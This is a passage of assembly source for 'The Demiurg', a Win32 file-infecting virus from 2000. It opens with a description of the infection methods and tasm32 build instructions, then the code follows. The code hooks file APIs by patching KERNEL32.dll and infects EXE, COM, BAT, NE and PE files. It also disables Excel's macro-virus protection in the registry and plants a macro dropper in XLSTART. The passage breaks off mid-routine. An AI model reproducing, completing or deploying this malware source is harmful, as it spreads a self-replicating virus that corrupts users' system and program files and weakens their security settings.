DOS EXE files are also infected in standart manner: some code is appended at
the end of file, then the entrypoint and the stack are set to it, and the
internal filesize is recalculated. Sligtly interesting is that the virus is
able to infect files with internal overlays that were generated with borland
compilers, in this case the virus is appended between the internal end of the
file and the overlay, after the overlay has been shifted back. This works
very fine (to my own surprise); try to infect TD.EXE for example.

COM files are infected by internally converting them to EXE files by


prepending a small EXE header, and then infected just like a DOS EXE file.
Of course the virus is also able to deal with ENUNS files, in this case the
ENUNS signature is threated just like an internal overlay.

BAT files are infected by adding some BAT code at the end of the file, then
the the character 1Ah (end of text file; BAT files will be only executed
until this character is reached), and after that the PE dropper. The BAT code
works by ECHOing out a small COM file (which was been written in such a
careful way that it only contains characters that are legit in BAT files) to
C:\DEMIURG.EXE. Then this file is executed with the name of the BAT file as
parameter. Then the COM file reads the PE dropper from the end of the BAT
file and writes it to C:\DEMIURG.EXE too, and then executes the new file.

NE files are infected with the method that was introduced by Mark Ludwig (I
think): The code segment that contains the entry point is increased, the rest
of the file is shifted back and the NE header tables are fixed to reflect the
new layout of the file. Then a small piece of code is injected into the newly
gained room and the entrypoint set to it; besides that the PE dropper is
appended at the end of the file as internal overlay.

ASSEMBLE WITH:
tasm32 /mx /m demiurg.asm
tlink32 /Tpe /aa demiurg.obj,,, import32.lib

there's no need for PEWRSEC or a similar tool, because the


virus code is stored in the data section.

DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.


Therefore, this source was only written for research and
education. Please do not spread it. The author can't be hold
responsible for what you decide to do with this source.

~
; ===========================================================================

workspace EQU 100000


virus_size EQU (virus_end-start)

Extrn ExitProcess:Proc
Extrn MessageBoxA:Proc
.386
.model flat
.data
start:
db 68h ; push imm32
orig_eip dd offset dummy_host ; push host entry point

pushfd ; save flags


pushad ; save all registers

call delta ; get delta offset


delta:
pop ebp
sub ebp, offset delta

; ----- GET KERNEL32 IMAGE BASE ---------------------------------------------


db 0B8h ; mov eax, imm32
imagebase dd 400000h ; EAX=imagebase of host

mov ebx, [eax+3Ch] ; EBX=new exe pointer RVA


add ebx, eax ; EBX=new exe pointer VA
mov ebx, [ebx+128] ; EBX=import directory RVA
add ebx, eax ; EBX=import directory VA

search_kernel32_descriptor:
mov esi, [ebx+12] ; ESI=name of library RVA
or esi, esi ; last import descriptor ?
JZ failed ; if yes, we failed
add esi, eax ; ESI=name of library VA
lea edi, [ebp+offset kernel32name] ; EDI=name of kernel32 VA
mov ecx, 8 ; ECX=length to compare
cld ; clear direction flag
rep cmpsb ; compare the two strings
JE found_kernel32_descriptor ; if equal, we found it

add ebx, 20 ; next import descriptor


JMP search_kernel32_descriptor ; search on

found_kernel32_descriptor:
xor edx, edx ; EDX=0 - our counter
push dword ptr [ebx+16] ; RVA of array of API RVAs
mov ebx, [ebx] ; EBX=array of API name ptrs
or ebx, ebx ; are there APIs imported ?
JZ pop_failed ; if not, we failed
add ebx, eax ; EBX=RVA API name ptrs array

search_GetModuleHandle:
mov esi, [ebx] ; ESI=RVA of a API name
or esi, esi ; searched all API names?
JZ pop_failed ; if yes, we failed
test esi, 80000000h ; is it an ordinal ?
JNZ next_API ; can't handle ordinal imports
add esi, eax ; ESI=VA of API name
inc esi ; skip the ordinal hint
inc esi
lea edi, [ebp+offset GetModuleHandleA] ; EDI=VA of GetModuleHandleA
mov ecx, l_GMH ; ECX=length GetModuleHandleA
cld ; clear direction flag
rep cmpsb ; compare the two strings
JE found_GetModuleHandle

next_API:
inc edx ; increment our API counter
inc ebx ; EBX=ptr to next API name ptr
inc ebx
inc ebx
inc ebx
JMP search_GetModuleHandle ; try next API name

found_GetModuleHandle:
pop ebx ; EBX=RVA of array of API RVAs
add ebx, eax ; EBX=VA of array of API RVAs
mov ebx, [ebx+edx*4] ; EBX=GetModuleHandleA entry

lea edx, [ebp+offset kernel32name] ; EDX=pointer to KERNEL32.dll


push edx ; push it
call ebx ; call GetModuleHandleA
or eax, eax ; got kernel32 handle/base ?
JNZ found_kernel32 ; if yes, we got it!
JMP failed ; otherwise, try other method

pop_failed:
pop ebx ; remove shit from stack

failed: ; import method failed? then


; try memory scanning method

mov ebx, [esp+10*4] ; EBX=address inside kernel32


kernel32find:
cmp dword ptr [ebx], "EP" ; found a PE header?
JNE search_on_kernel32 ; if not, search on
mov eax, [ebx+34h] ; EAX=module base address
or al, al ; is it on a page start?
JNZ search_on_kernel32 ; if not, search on
cmp word ptr [eax], "ZM" ; is there a MZ header?
JE found_kernel32 ; if yes, we found kernel32!
search_on_kernel32:
dec ebx ; go one byte down
JMP kernel32find ; and search on
found_kernel32:
mov [ebp+offset kernel32], eax ; saver kernel32 base address

lea esi, [ebp+offset kernel32_API_names_table] ; get APIs from


lea edi, [ebp+offset kernel32_API_address_table]; KERNEL32.dll
mov ecx, number_of_kernel32_APIs
call GetAPIs

lea eax, [ebp+offset advapi32_dll] ; load ADVAPI32.dll


push eax
call [ebp+offset LoadLibraryA]

lea esi, [ebp+offset advapi32_API_names_table] ; get APIs from


lea edi, [ebp+offset advapi32_API_address_table]; ADVAPI32.dll
mov ecx, number_of_advapi32_APIs
call GetAPIs

call infect_kernel32
call infect_excel

popad ; restore registers


popfd
ret ; return to host

; ----- END MAIN ROUTINE OF THE VIRUS ---------------------------------------


copyright db "[The Demiurg] - a Win32 virus by Black Jack", 0
db "written in Austria in the year 2000", 0

; ----- INFECT KERNEL32.DLL -------------------------------------------------


infect_kernel32:
mov eax, [ebp+SetFileAttributesA] ; if we're already resident,
sub eax, [ebp+GetFileAttributesA] ; we know the difference
cmp eax, 2*API_hook_size ; between the two API entries:
JE kernel32_infect_failure ; so don't reinfect kernel32.

push 260
lea eax, [ebp+offset path_buffer1]
push eax
call [ebp+offset GetSystemDirectoryA] ; get the Windows System dir

lea eax, [ebp+offset kernel32_dll] ; add \kernel32.dll to string


push eax
lea eax, [ebp+offset path_buffer1]
push eax
call [ebp+offset lstrcatA]

push 260 ; get the Windows directory


lea eax, [ebp+offset path_buffer2]
push eax
call [ebp+offset GetWindowsDirectoryA]

lea eax, [ebp+offset kernel32_dll] ; add \kernel32.dll to string


push eax
lea eax, [ebp+offset path_buffer2]
push eax
call [ebp+offset lstrcatA]

push 1 ; don't overwrite target


lea eax, [ebp+offset path_buffer2] ; target
push eax
lea eax, [ebp+offset path_buffer1] ; source
push eax
call [ebp+offset CopyFileA] ; copy kernel32.dll from
; system to windows directory
or eax, eax
JZ kernel32_infect_failure

lea edx, [ebp+offset path_buffer2] ; open and map the KERNEL32.dll


call openfile ; in the windows directory
mov ebx, eax
add ebx, [eax+3Ch] ; EBX=kernel32 PE header

push ebx ; save the PE header offset


call append_PE ; infect KERNEL32.dll
pop ebx ; EBX=Kernel32 PE header

mov ecx, number_of_hooked_APIs ; ECX=number of APIs to hook


lea esi, [ebp+offset hooked_API_names_table] ; ESI=names of APIs
mov edi, (API_hooks - start) ; EDI=first API hook relative
; to virus start

hook_APIs_loop:
call hook_API ; hook this API

mov eax, esi ; EAX=API name address

next_hook_API_loop:
inc eax ; search end of string
cmp byte ptr [eax+1], 0
JNE next_hook_API_loop

cmp byte ptr [eax], "A" ; ANSI version of API?


JNE next_API_name

mov byte ptr [eax], "W" ; hook also unicode version


push eax
call hook_API
pop eax
mov byte ptr [eax], "A" ; restore ANSI version name

next_API_name:
inc eax ; EAX=next API name
inc eax
xchg esi, eax ; ESI=next API name

LOOP hook_APIs_loop ; hook next API

finish_kernel32_infection:

mov dword ptr [ebx+8], 666 ; destroy kernel32 build time

call finish_PE_infection ; append virus body and


; recalculate checksum

call closemap ; close map and file

push 5 ; flags for MoveFileExA


; MOVEFILE_REPLACE_EXISTING +
; MOVEFILE_DELAY_UNTIL_REBOOT
lea eax, [ebp+offset path_buffer1] ; target
push eax
lea eax, [ebp+offset path_buffer2] ; source
push eax
call [ebp+offset MoveFileExA] ; NOTE: This API call will
; only work in WinNT. But this
; is no problem, because Win9X
; will prefer the kernel32.dll
; in the Windows directory to
; the one in the System
; directory anyways.
kernel32_infect_failure:
RET

; ----- HOOK ONE API --------------------------------------------------------

hook_API:
push ebx ; save registers
push ecx
push esi

push ebx ; save EBX (PE hdr in memmap)


push edi ; save EDI (hook "RVA")

mov eax, [ebp+offset kernel32] ; EAX=KERNEL32 base address


call My_GetProcAddress
; EDX=RVA of RVA of API in
; export table
mov ecx, [edx+eax] ; ECX=API RVA
add ecx, eax ; ECX=API VA
pop edi ; EDI="RVA" of API hook
pop ebx ; EBX=K32 PE header in memmap
mov [edi+ebp+offset start+1], ecx ; store original API VA

movzx ecx, word ptr [ebx+6] ; ECX=number of sections


movzx eax, word ptr [ebx+14h] ; size of optional header
lea ebx, [eax+ebx+18h] ; EBX=first section header
; 18h = size of file header

search_section:
mov esi, [ebx+0Ch] ; ESI=section RVA
cmp esi, edx
JA next_section
add esi, [ebx+8] ; add section virtual size
cmp esi, edx
JA found_section
next_section:
add ebx, 40 ; 40 = section header size
LOOP search_section

section_not_found:
JMP exit_hook_API

found_section:
sub edx, [ebx+0Ch] ; section RVA
add edx, [ebx+14h] ; start of raw data
; EDX=physical offset of
; API RVA in K32 export table
add edx, [ebp+offset mapbase] ; EDX=address in memmap

mov eax, edi


add eax, [ebp+offset virus_RVA] ; EAX=API hook RVA in K32
mov [edx], eax ; hook API

exit_hook_API:
add edi, API_hook_size ; EDI=next API hook
pop esi
pop ecx
pop ebx
RET

; ----- HOOKS FOR APIs ------------------------------------------------------

API_hooks:

CreateFileA_hook:
push 12345678h
JMP hookA

API_hook_size EQU ($ - offset CreateFileA_hook)

CreateFileW_hook:
push 12345678h
JMP hookW

GetFileAttributesA_hook:
push 12345678h
JMP hookA

GetFileAttributesW_hook:
push 12345678h
JMP hookW

SetFileAttributesA_hook:
push 12345678h
JMP hookA

SetFileAttributesW_hook:
push 12345678h
JMP hookW

CopyFileA_hook:
push 12345678h
JMP hookA

CopyFileW_hook:
push 12345678h
JMP hookW

MoveFileExA_hook:
push 12345678h
JMP hookA

MoveFileExW_hook:
push 12345678h
JMP hookW

MoveFileA_hook:
push 12345678h
JMP hookA

MoveFileW_hook:
push 12345678h
JMP hookW

_lopen_hook:
push 12345678h

hookA:
pushf
pusha
call hookA_next
hookA_next:
pop ebp
sub ebp, offset hookA_next

mov edi, [esp+11*4]


call infect
popa
popf
RET

hookW:
pushf
pusha

call hookW_next
hookW_next:
pop ebp
sub ebp, offset hookW_next

mov esi, [esp+11*4]


lea edi, [ebp+offset path_buffer1]
push edi

push 0 ; useless default character


push 0 ; useless default character
push 260 ; length of destination buffer
push edi ; offset of destination buffer
push -1 ; find length automatically
push esi ; address of source buffer
push 0 ; no special flags
push 0 ; codepage: CP_ACP (ANSI)
call dword ptr [ebp+WideCharToMultiByte]
or eax, eax
JZ WideCharToMultiByte_failed

pop edi
call infect

WideCharToMultiByte_failed:
popa
popf
RET

; ----- INFECT EXCEL --------------------------------------------------------


infect_excel:

mov [ebp+office_version_number], "8" ; first try Excel97 (v8.0)

try_excel:
; Open the RegKey with the
; MS-Excel Options
lea eax, [ebp+offset reg_handle1] ; offset registry handle
push eax
push 2 ; access: KEY_SET_VALUE
push 0 ; reserved
lea eax, [ebp+offset regkey] ; which regkey
push eax
push 80000001h ; HKEY_CURRENT_USER
call [ebp+offset RegOpenKeyExA]
or eax, eax ; success=>EAX=0
JZ found_excel

cmp [ebp+office_version_number], "9" ; already tried both versions?


JE failure ; no excel found, we failed

inc [ebp+office_version_number] ; try also Excel2000


JMP try_excel

found_excel:
cmp [ebp+office_version_number], "9" ; which version found ?
JE unprotect_Excel2K

unprotect_Excel97:
lea eax, [ebp+offset reg_handle2] ; offset registry handle
push eax
push 2 ; access: KEY_SET_VALUE
push 0 ; reserved
lea eax, [ebp+offset subkey_97] ; which regkey
push eax
push dword ptr [ebp+offset reg_handle1] ; registry handle
call [ebp+offset RegOpenKeyExA]
or eax, eax ; success=>EAX=0
JNZ failure

mov dword ptr [ebp+offset regvalue_dword], 0 ; 0 means Macro virus


; protection off
lea edx, [ebp+offset regvalue_options] ; offset value name
JMP general_unprotect

unprotect_Excel2K:
lea eax, [ebp+offset regvalue_dword] ; disposition (uninteresting)
push eax
lea eax, [ebp+offset reg_handle2] ; offset registry handle
push eax
push 0 ; security attributes
push 6 ; access: KEY_SET_VALUE and
; KEY_CREATE_SUB_KEY
push 0 ; REG_OPTION_NON_VOLATILE
push 0 ; address of class string
push 0 ; reserved
lea eax, [ebp+offset subkey_2K] ; which regkey
push eax
push dword ptr [ebp+offset reg_handle1] ; registry handle
call [ebp+RegCreateKeyExA]
or eax, eax
JNZ failure

mov dword ptr [ebp+offset regvalue_dword], 1 ; 1 - lowest level of


; macro security
lea edx, [ebp+offset regvalue_2K] ; offset value name

general_unprotect:
; Now disable the MS-Excel
; macro virus protection.
push 4 ; size of buffer
lea eax, [ebp+offset regvalue_dword] ; address of buffer
push eax
push 4 ; REG_DWORD
push 0 ; reserved
push edx ; offset value name
push [ebp+reg_handle2] ; reg handle
call [ebp+offset RegSetValueExA]
or eax, eax
JNZ failure

push [ebp+reg_handle2] ; Close the RegKey again


call [ebp+offset RegCloseKey]
or eax, eax
JNZ failure

push [ebp+reg_handle1] ; Close the RegKey again


call [ebp+offset RegCloseKey]
or eax, eax
JNZ failure

; Open the RegKey where we


; will find the path to Excel
lea eax, [ebp+offset reg_handle1] ; offset registry handle
push eax
push 1 ; access: KEY_QUERY_VALUE
push 0 ; reserved
lea eax, [ebp+offset regkey] ; which regkey
push eax
push 80000002h ; HKEY_LOCAL_MACHINE
call [ebp+offset RegOpenKeyExA]
or eax, eax ; success=>EAX=0
JNZ failure

lea eax, [ebp+offset reg_handle2] ; offset registry handle


push eax
push 1 ; access: KEY_QUERY_VALUE
push 0 ; reserved
lea eax, [ebp+offset subkey_InstallRoot]; which regkey
push eax
push dword ptr [ebp+offset reg_handle1] ; reg handle
call [ebp+offset RegOpenKeyExA]
or eax, eax ; success=>EAX=0
JNZ failure

; Get the path where MS-Excel


; is installed
lea eax, [ebp+offset size_buffer] ; address of data buffer size
mov dword ptr [eax], 260 ; set size of data buffer
push eax
lea eax, [ebp+offset path_buffer1] ; address of data buffer
push eax
lea eax, [ebp+offset REG_SZ] ; address of buffer for value
push eax ; type (ASCIIZ string)
push 0 ; reserved
lea eax, [ebp+offset regvalue_path] ; address of name of value
push eax ; to query
push [ebp+reg_handle2] ; handle of RegKey to query
call [ebp+offset RegQueryValueExA]
or eax, eax
JNZ failure

push [ebp+reg_handle1] ; close the RegKey


call [ebp+offset RegCloseKey]
or eax, eax
JNZ failure

push [ebp+reg_handle2] ; close the RegKey


call [ebp+offset RegCloseKey]
or eax, eax
JNZ failure

lea eax, [ebp+offset demiurg_xls] ; add "\xlstart\demiurg.xls"


push eax ; (our macro dropper file)
lea eax, [ebp+offset path_buffer1] ; to the Excel path
push eax
call [ebp+offset lstrcatA]

lea edx, [ebp+offset path_buffer1] ; create this file


call createfile
JC failure

lea esi, [ebp+offset macro_dropper] ; decompress our macro dropper


mov edi, eax ; file to the filemap
mov ebx, macro_dropper_size
call decompress

mov dword ptr [ebp+filesize], 16384 ; filesize of macro dropper

call closemap ; close the macro dropper file

push dropper_size ; allocate memory where we can


push 0 ; create the PE virus dropper
call [ebp+offset GlobalAlloc]
or eax, eax
JZ failure
mov [ebp+heap_buffer], eax ; save memory base address

xchg edi, eax ; EDI=address of allocated mem


call create_dropper

lea edx, [ebp+offset macro_filename] ; create the file for the


call createfile ; macro dropper code source
JC failure ; that will be used to infect
; excel files

xchg edi, eax ; EDI=base of memmap


lea esi, [ebp+offset main_macro_code] ; copy main VBA code to there
mov ecx, main_macro_code_size
cld
rep movsb

mov byte ptr [ebp+sub_name], "b" ; name of the first VBA sub

mov esi, [ebp+heap_buffer] ; ESI=PE dropper image in mem

mov ecx, (dropper_size / 128) ; ECX=number of a=Array(...)


; lines that are left

build_subs_loop:
push esi ; save ESI

lea esi, [ebp+offset sub_header] ; copy "Sub b()"


movsd ; move 9 bytes
movsd
movsb

pop esi ; restore ESI

mov eax, (((dropper_size / 128)+5)/6) ; number of lines in one sub


cmp ecx, eax ; last sub?
JB push_0 ; ECX=0 afterwards (no more
; lines left)
sub ecx, eax ; otherwise ECX=number of
; lines left
push ecx ; save it
mov ecx, eax ; ECX=nr. of lines in one sub
JMP build_lines_loop

push_0:
push 0

build_lines_loop:
push ecx ; save number of lines left

mov eax, "rA=a" ; add string "a=Array("


stosd
mov eax, "(yar"
stosd

mov ecx, 128 ; ECX=numbers in one line

build_nubers_loop:
push ecx ; save ECX
xor eax, eax ; EAX=0
lodsb ; AL=one byte from dropper
mov ecx, 3 ; ECX=3 (nuber of digits)

number_loop_head:
xor edx, edx ; EDX=0 (high dword for div)
mov ebx, 10 ; EBX=10
div ebx ; EDX=mod, EAX=div
add dl, '0' ; DL=one digit
push edx ; save it
LOOP number_loop_head

pop eax ; AL=one digit


stosb ; store it
pop eax ; AL=next digit
stosb
pop eax
stosb
mov al, ',' ; store a comma
stosb

pop ecx ; ECX=number of bytes left


LOOP build_nubers_loop

dec edi

mov eax, ")" + 0A0D00h + "w"*1000000h ; add ")CRLFwCRLF"


stosd
mov ax, 0A0Dh
stosw

pop ecx ; restore number of lines left


LOOP build_lines_loop

push esi ; save ESI

lea esi, [ebp+offset end_sub] ; store an "end sub"


movsd ; move 9 bytes
movsd
movsb

pop esi ; restore ESI

inc byte ptr [ebp+sub_name] ; new name for next sub

pop ecx ; ECX=number of lines left


or ecx, ecx
JNZ build_subs_loop

sub edi, [ebp+mapbase] ; EDI=size of VBA code


mov [ebp+filesize], edi ; save it as filesize

call closemap ; close the map/file

push [ebp+heap_buffer] ; free allocated memory


call [ebp+GlobalFree]

failure:
RET
; ----- INFECT FILE ---------------------------------------------------------
infect:
push edi

xor eax, eax ; EAX=0


mov ecx, eax ; ECX=0
dec ecx ; ECX=0FFFFFFFFh
cld ; clear direction flag
repne scasb ; search for end of filename

mov eax, [edi-5] ; EAX=filename extension


or eax, 20202020h ; make it lowercase

pop edx

cmp eax, "exe." ; EXE file?


JE infect_exe_com
cmp eax, "moc." ; COM file?
JE infect_exe_com
cmp eax, "tab." ; BAT file?
JNE quit_infect_error

; ----- INFECT BAT FILE -----------------------------------------------------

infect_bat:
call openfile ; open and map the victim
JC quit_infect_error ; opening/mapping failed ?

xchg edi, eax ; EDI=start of memmap


add edi, [ebp + offset filesize] ; EDI=end of file in memmap
cmp byte ptr [edi-1], 0 ; already infected?
JE already_infected
lea esi, [ebp + offset bat_virus_code] ; ESI=BAT code to add
mov ecx, size_bat_virus_code
cld
rep movsb ; add BAT code
call create_dropper ; add PE dropper as overlay
add dword ptr [ebp + offset filesize], (size_bat_virus_code+dropper_size)
JMP abort_infection

; ----- INFECT A EXE OR COM FILE --------------------------------------------

infect_exe_com:
call openfile ; open and map the victim
JC quit_infect_error ; opening/mapping failed ?

cmp word ptr [eax], "ZM" ; has it a MZ header?


JE infect_exe
cmp word ptr [eax], "MZ" ; has it a MZ header?
JE infect_exe

; ----- INFECT COM FILE -----------------------------------------------------

infect_com:
mov ecx, [ebp+offset filesize] ; ECX=size of victim file
mov esi, ecx
dec esi
add esi, [ebp+offset mapbase] ; ESI=end of file in memmap
mov edi, esi
add edi, 32
std
rep movsb ; shift whole file back

lea esi, [ebp+offset new_mz_header] ; prepend the MZ header


mov edi, [ebp+offset mapbase]
mov ebx, new_mz_header_size
call decompress

mov eax, [ebp+offset filesize] ; update filesize


add eax, 32
mov [ebp+filesize], eax
mov ebx, [ebp+offset mapbase]

cmp word ptr [eax+ebx-4], "SN" ; ENUNS check


JNE no_enun
add word ptr [eax+ebx-2], 1234h ; fix ENUNS shit
org $-2 ; otherwise TASM will give a
dw (((size_dos_virus_code+15+dropper_size)/16)*16); warning, dunno why
sub eax, 7 ; make the ENUNS an overlay
no_enun:
xor edx, edx ; calculate filesize for
mov ecx, 512 ; MZ header
div ecx
or edx, edx ; mod
JZ no_page_roundup
inc eax ; div
no_page_roundup:
mov [ebx+2], edx
mov [ebx+4], eax
xchg eax, ebx
; now infect it as regular EXE

; ----- EXE FILE INFECTION --------------------------------------------------

infect_exe:
cmp word ptr [eax+12h], "JB" ; already infected?
JE already_infected
mov word ptr [eax+12h], "JB" ; mark as infectd

cmp word ptr [eax+18h], 40h


JE new_exe

; ----- DOS EXE INFECTION ---------------------------------------------------

dos_exe:
mov bx, [eax+0Eh] ; save relo_SS
mov [ebp+relo_SS], bx
mov bx, [eax+10h] ; save SP_start
mov [ebp+SP_start], bx
mov bx, [eax+14h] ; save IP_start
mov [ebp+IP_start], bx
mov bx, [eax+16h] ; save relo_CS
mov [ebp+relo_CS], bx

movzx ebx, word ptr [eax+2] ; calculate internal filesize


movzx ecx, word ptr [eax+4]
or ebx, ebx
JZ no_page_round
dec ecx
no_page_round:
mov eax, 512
mul ecx
add eax, ebx
mov [ebp+offset dos_exe_size], eax
cmp [ebp+offset filesize], eax ; has it an internal overlay?
JE no_internal_overlays

with_overlay:
mov esi, [ebp+offset mapbase]
cmp dword ptr [eax+esi], "VOBF" ; internal overlay of borland?
JE infectable_overlay
cmp word ptr [eax+esi+3], "SN" ; ENUNS COM file converted
; by us before?
JNE abort_infection

infectable_overlay:
mov ecx, [ebp+filesize] ; shift internal overlay back
mov esi, ecx
sub ecx, eax
dec esi
add esi, [ebp+mapbase]
mov edi, esi
add edi, (((size_dos_virus_code+15+dropper_size)/16)*16)
std
rep movsb

no_internal_overlays:
add dword ptr [ebp+filesize], (((size_dos_virus_code+15+dropper_size)/16)*16)
add dword ptr [ebp+dos_exe_size], (((size_dos_virus_code+15+dropper_size)/16)*16)

mov ebx, [ebp+mapbase]


mov edi, eax
add edi, ebx
lea esi, [ebp+offset dos_virus_code]
mov ecx, size_dos_virus_code
cld
rep movsb
call create_dropper

xor edx, edx


mov ecx, 16
div ecx ; EDX:EAX / ECX
; EAX=DIV, EDX=MOD

sub ax, [ebx+08h] ; size of header (paragr)


; EAX=virus segment

mov word ptr [ebx+0Eh], ax ; new relo_SS


mov word ptr [ebx+10h], 6000h ; new SP_start
mov word ptr [ebx+14h], dx ; new IP_start
mov word ptr [ebx+16h], ax ; new relo_CS

mov eax, [ebp+dos_exe_size]


xor edx, edx
mov ecx, 512
div ecx
or edx, edx ; mod
JZ no_page_roundup_
inc eax ; div
no_page_roundup_:
mov [ebx+2], dx
mov [ebx+4], ax

JMP abort_infection
; ----- IT IS A NEW EXE FILE ------------------------------------------------

new_exe:
mov ebx, [eax+3Ch] ; EBX=new header offset
add ebx, eax ; EBX=new header in memmap

cmp dword ptr [ebx], "EP" ; PE file?


JE infect_PE

cmp word ptr [ebx], "EN" ; NE file?


JNE abort_infection

; ----- INFECT A NE EXE FILE ------------------------------------------------

infect_NE:
mov edi, [ebp+offset filename_ofs]
mov esi, edi

search_pure_filename:
cmp byte ptr [edi], "\"
JNE no_backslash
mov esi, edi
no_backslash:
cmp byte ptr [edi], 0
JE found_end_filename
inc edi
JMP search_pure_filename

found_end_filename:
inc esi
lea edi, [ebp+offset our_filename]
cld
movsd
movsd
movsd

xchg ebx, eax

mov cx, [eax+32h] ; CX=align shift


or cx, cx ; align shift zero?
JNZ align_ok ; if not, it's alright
mov cx, 9 ; if so, use default (512 byt)
align_ok:
or ch, ch ; alignment too big?
JNZ abort_infection ; if so, then close
mov [ebp+offset shift_value], cl ; store align shift value
mov [ebp+offset shift_value2], cl ; store again shift value

mov ebx, size_NE_virus_code ; EBX=virus length


shr ebx, cl
inc ebx ; EBX=aligned length
shl ebx, cl

movzx esi, word ptr [eax+24h] ; ESI=resource table in file


add esi, eax ; ESI=resource table in map
cmp cx, [esi] ; file align=resource align?
JNE abort_infection ; if not, then close

inc esi ; esi=1st TypeInfo


inc esi
mov [ebp+offset resource_table], esi ; save start of resource table

movzx edx, word ptr [eax+16h] ; EDX=number of code sect.


dec edx ; count starts with one
shl edx, 3 ; 1 sect. header=8 bytes
movzx ecx, word ptr [eax+22h] ; ECX=start of segment table
add edx, ecx ; EDX=segment header in file
add edx, eax ; EDX=segment header of start
; code segment in mapped mem

movzx ecx, word ptr [edx+2] ; ECX=segment size in file


or ecx, ecx ; 64K segment?
JZ abort_infection ; if so, exit
cmp [edx+6], cx ; cmp with size in mem
JNE abort_infection ; exit if not equal

push word ptr [eax+14h] ; save old start ip


pop word ptr [ebp+offset NE_start_IP]
mov [eax+14h], cx ; set new one

add [edx+2], bx ; fixup physical segment size


add [edx+6], bx ; fixup virtual segment size

movzx edi, word ptr [edx] ; start of segment in file

push ecx
mov cl, [ebp+offset shift_value]
shl edi, cl ; start of segment in bytes
pop ecx

add edi, ecx ; add size of segment


mov esi, [ebp+offset filesize]
mov ecx, esi
sub ecx, edi ; length to move
dec esi
add esi, [ebp+offset mapbase]
push edi ; save virus start

add [ebp+offset filesize], ebx ; fixup filesize

mov edi, esi


add edi, ebx
std
rep movsb

pop edi
push edi
add edi, [ebp+offset mapbase]
lea esi, [ebp+offset NE_virus_code]
mov ecx, ebx
cld
rep movsb

pop edx ; EDX=virus start in file

mov cl, [ebp+offset shift_value]


shr ebx, cl ; EBX=virus size in alignment units

movzx esi, word ptr [eax+22h] ; start of segment table


add esi, eax ; ESI=segment table in map
movzx ecx, word ptr [eax+1Ch] ; ECX=number of segments

segment_loop_head:
movzx eax, word ptr [esi] ; EAX=offset of resource
db 0C1h, 0E0h ; shl eax, imm8
shift_value db ?
cmp eax, edx ; resource ofs > virus start?
JL segment_ok
add word ptr [esi], bx ; fix up resource offset
segment_ok:
add esi, 8
LOOP segment_loop_head

mov esi, [ebp+offset resource_table]

resources_loop_head:
cmp word ptr [esi], 0 ; end of TypeInfo table?
JE done_resources

movzx ecx, word ptr [esi+2] ; Resource count


lea edi, [esi+8] ; NameInfo Array

NameInfo_loop_head:
movzx eax, word ptr [edi] ; EAX=offset of resource
db 0C1h, 0E0h ; shl eax, imm8
shift_value2 db ?

cmp eax, edx ; resource ofs > virus start?


JL resource_ok
add word ptr [edi], bx ; fix up resource offset
resource_ok:
add edi, 12
LOOP NameInfo_loop_head

mov esi, edi


JMP resources_loop_head
done_resources:

mov edi, [ebp + offset mapbase]


add edi, [ebp + offset filesize]
call create_dropper
add dword ptr [ebp + offset filesize], dropper_size

JMP abort_infection

; ----- INFECT A PE EXE FILE ------------------------------------------------

infect_PE:
push ebx ; save PE header pointer

call append_PE ; modify last sect. for virus

mov ebx, [ebp+offset virus_RVA] ; EBX=RVA of virus in victim


xchg ebx, [eax+28h] ; set as new entrypoint, save
; old entryRVA in EBX
mov ecx, [eax+34h] ; ECX=imagebase
mov [ebp+offset imagebase], ecx ; save it
add ebx, ecx ; EBX=entry VA
mov [ebp+orig_eip], ebx ; save it

pop ebx ; EBX=PE header pointer

call finish_PE_infection ; append virus, recalc CRC


already_infected:
abort_infection:
call closemap ; close filemap and file
quit_infect_error:
RET

; ----- END INFECT FILE -----------------------------------------------------

openfile:
mov [ebp+offset filename_ofs], edx

push edx ; offset filename


call [ebp+offset GetFileAttributesA]
mov [ebp+attributes], eax
inc eax
JNZ get_attribs_ok

stc
ret

get_attribs_ok:
push 80h ; normal attributes
push dword ptr [ebp+offset filename_ofs]
call [ebp+offset SetFileAttributesA]
or eax, eax
JNZ kill_attribs_ok

stc
ret

kill_attribs_ok:
push 0 ; template file (shit)
push 80h ; file attributes (normal)
push 3 ; open existing
push 0 ; security attributes (shit)
push 0 ; do not share file
push 0C0000000h ; read/write mode
push dword ptr [ebp+offset filename_ofs] ; pointer to filename
call [ebp+offset CreateFileA]
mov [ebp+filehandle], eax
inc eax ; EAX= -1 (Invalid handle val)
JNZ open_ok

stc
ret

open_ok:
lea eax, [ebp+offset LastWriteTime]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push dword ptr [ebp+offset filehandle]
call [ebp+offset GetFileTime]
or eax, eax
JNZ get_time_ok

call closefile
stc
ret

get_time_ok:
push 0 ; high filesize dword ptr
push dword ptr [ebp+offset filehandle]
call [ebp+offset GetFileSize]
mov [ebp+offset filesize], eax
inc eax
JNZ get_filesize_ok

call closefile
stc
ret

get_filesize_ok:
add eax, workspace-1
JMP mapfile

createfile:
mov [ebp+offset filename_ofs], edx

push 0 ; template file (shit)


push 80h ; file attributes (normal)
push 1 ; create new file (failure if
; old one exists)
push 0 ; security attributes (shit)
push 0 ; do not share file
push 0C0000000h ; read/write mode
push edx ; pointer to filename
call [ebp+offset CreateFileA]
mov [ebp+offset filehandle], eax
inc eax ; EAX= -1 (Invalid handle val)
JNZ createfile_ok

stc
RET
createfile_ok:
mov dword ptr [ebp+offset attributes], 80h

lea edi, [ebp+offset CreationTime]


xor eax, eax
mov ecx, 6
rep stosw

mov [ebp+offset filesize], ecx ; filesize=0


mov eax, workspace

mapfile:
push 0 ; name file mapping obj (shit)
push eax ; low dword of filesize
push 0 ; high dword of filesize
push 4 ; PAGE_READWRITE
push 0 ; security attributes (shit)
push dword ptr [ebp+offset filehandle]
call [ebp+offset CreateFileMappingA]
mov [ebp+offset maphandle], eax
or eax, eax ; close?
JNZ createfilemapping_ok

call closefile
stc
RET

createfilemapping_ok:
push 0 ; map the whole file
push 0 ; low dword of fileoffset
push 0 ; high dword of fileoffset
push 2 ; read/write access
push dword ptr [ebp+offset maphandle]
call [ebp+offset MapViewOfFile]
mov [ebp+offset mapbase], eax
or eax, eax
JNZ mapfile_ok

call closemaphandle
stc
RET

mapfile_ok:
push eax
xchg edi, eax
add edi, [ebp+offset filesize]
xor eax, eax
mov ecx, workspace
rep stosb

pop eax
clc
RET

closemap:
push dword ptr [ebp+offset mapbase]
call [ebp+offset UnmapViewOfFile]

closemaphandle:
push dword ptr [ebp+offset maphandle]
call [ebp+offset CloseHandle]

push 0 ; move relative to start of file


